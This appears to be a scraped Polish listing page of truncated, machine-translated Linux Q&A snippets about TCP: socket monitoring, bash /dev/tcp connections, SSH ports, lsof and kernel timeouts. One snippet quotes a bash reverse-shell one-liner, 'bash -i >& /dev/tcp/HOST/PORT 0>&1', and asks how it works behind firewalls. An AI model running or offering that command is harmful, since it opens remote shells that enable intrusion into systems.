Transport Control Protocol (TCP) jest niskopoziomową częścią stosu protokołów używanego przez Internet. Znajduje się bezpośrednio nad warstwą IP i jest odpowiedzialny za upewnienie się, że upuszczone pakiety są ponownie wysyłane.
Pracuję na oprogramowaniu, które łączy się z serwerem danych w czasie rzeczywistym (za pomocą TCP) i mam przerwane połączenia. Domyślam się, że klienci nie czytają wystarczająco szybko danych pochodzących z serwera. Dlatego chciałbym monitorować moje gniazda TCP. W tym celu znalazłem narzędzie „ss”. To narzędzie pozwala zobaczyć stan każdego gniazda …
Użyłem exec 3<>/dev/tcp/192.168.0.101/6435do ustanowienia połączenia TCP z 192.168.0.101:6435. I otrzymałem, a także wysłałem kilka wiadomości z pipepoleceniem. Teraz chcę zakończyć połączenie TCP. Ale ss -anpetwidzę, że sama bash utrzymuje to połączenie, bez rozwodzenia procesu potomnego. Próbowałem wysłać sygnał 9 i 15 do procesu bash, ale jak wiadomo, bash nie może …
Raz na kilka dni mam następujący problem. Mój laptop (testowanie Debiana) nagle przestaje działać z połączeniami TCP z Internetem. Następujące rzeczy działają poprawnie: UDP (DNS), ICMP (ping) - otrzymuję natychmiastową odpowiedź Połączenia TCP z innymi komputerami w sieci lokalnej (np. Mogę ssh do sąsiedniego laptopa) wszystko jest w porządku dla …
I niedawno dowiedział się o /dev/udpi /dev/tcppseudo urządzeń tutaj . Czy są specyficzne dla niektórych dystrybucji GNU / Linux, czy mogę je znaleźć w innych systemach uniksowych? Czy są w jakiś sposób znormalizowane? Do tej pory mogłem z powodzeniem ich używać w systemach OS X, Arch Linux i CentOS.
Nie zrobiłem nic niezwykłego dla moich konfiguracji sprzętowych lub jądra (wszystkie ustawienia domyślne, świeża instalacja systemu operacyjnego, jądro Linux 3.11 stos TCP / IP) i uśredniam około 3,83 miliona wiadomości na sekundę przez TCP, podczas gdy ja tylko średnio 0,75 milion wiadomości na sekundę za pośrednictwem UDP. Wydaje się to …
Przeczytałem online instrukcję Apache httpd i natknąłem się na dyrektywę, aby to umożliwić. Znaleziono opis na stronie podręcznika dla tcp: TCP_DEFER_ACCEPT (since Linux 2.4) Allow a listener to be awakened only when data arrives on the socket. Takes an integer value (seconds), this can bound the maximum number of attempts …
Przez jakiś czas majstrowałem przy tym, żeby to zadziałało, więc podejrzewam jakieś podstawowe nieporozumienie na temat działania rur, które jest główną przyczyną moich problemów. Moim celem jest zainicjowanie połączenia TCP z jakimś zdalnym hostem za pośrednictwem netcati posiadanie dwóch nazwanych potoków w systemie plików: jeden, z którego procesy mogą czytać, …
Mam zdalną konfigurację serwera Ubuntu 10.04, którą zainstalowałem jakiś czas temu. Podczas gdy rejestrowałem nazwę użytkownika i hasło, wydaje mi się, że byłem sprytny i zmieniłem zwykły port ssh z 22 na ... coś innego. Jak mogę dowiedzieć się, jaki może być ten port? Mam dostęp do serwera za pośrednictwem …
próbowałem bash -i >& /dev/tcp/HOST/PORT 0>&1 ale wydaje się, że nie działa za zaporami ogniowymi. Co tak naprawdę robi ten kod, które porty są przekazywane i czy może działać za zaporami ogniowymi?
Skonfigurowałem SSH na porcie 20000. Kiedy próbuję: svn co svn+ssh://server.com:20000/home/svn/proj1 proj1 --username jm dostaję svn: To better debug SSH connection problems, remove the -q option from 'ssh' in the [tunnels] section of your Subversion configuration file. svn: Network connection closed unexpectedly Myślę, że muszę też powiedzieć SVN, aby używał portu …
# lsof -n -itcp | wc 92 919 10212 # lsof -n | grep TCP | wc 2482 27222 373861 Co robię źle lsof -itcp? Takie wywołanie pomija część połączeń, wygląda na to, że są to połączenia wątków.
Spędziłem ostatnio sporo czasu na śledzeniu problemu w produkcji, gdy zniknięcie serwera bazy danych spowodowałoby zawieszenie się do 2 godzin (długie oczekiwanie na poll()połączenie w bibliotece klienta libpq) dla podłączonego klienta. Zagłębiając się w problem, zdałem sobie sprawę, że te parametry jądra powinny zostać obniżone, aby odcięte połączenia TCP były …
Próbuję skonfigurować zdalny dostęp do D-Bus i nie rozumiem, jak działa (nie) uwierzytelnianie i autoryzacja. Mam serwer D-Bus nasłuchujący na abstrakcyjnym gnieździe. $ echo $DBUS_SESSION_BUS_ADDRESS unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 Pobiegam dbus-monitoroglądać co się dzieje. Mój przypadek testowy to notify-send hello, który działa po uruchomieniu z komputera lokalnego. Z innego konta na tym samym …
W systemie Linux (moje serwery na żywo są w wersji RHEL 5.5 - poniższe łącza LXR dotyczą wersji jądra), man 7 ipmówi: Powiązany adres lokalnego gniazda TCP jest niedostępny przez pewien czas po zamknięciu, chyba że ustawiono flagę SO_REUSEADDR. Nie używam SO_REUSEADDR. Jak długo trwa „jakiś czas”? Jak mogę dowiedzieć …
Muszę wiedzieć, czy proces z danym PID jako otworzył port bez użycia zewnętrznych poleceń. Następnie muszę użyć /procsystemu plików. Mogę /proc/$PID/net/tcpna przykład odczytać plik i uzyskać informacje o portach TCP otwartych przez proces. Jednak w procesie wielowątkowym /proc/$PID/task/$TIDkatalog będzie również zawierał net/tcpplik. Moje pytanie brzmi : czy muszę przejrzeć wszystkie …
Używamy plików cookie i innych technologii śledzenia w celu poprawy komfortu przeglądania naszej witryny, aby wyświetlać spersonalizowane treści i ukierunkowane reklamy, analizować ruch w naszej witrynie, i zrozumieć, skąd pochodzą nasi goście.
Kontynuując, wyrażasz zgodę na korzystanie z plików cookie i innych technologii śledzenia oraz potwierdzasz, że masz co najmniej 16 lat lub zgodę rodzica lub opiekuna.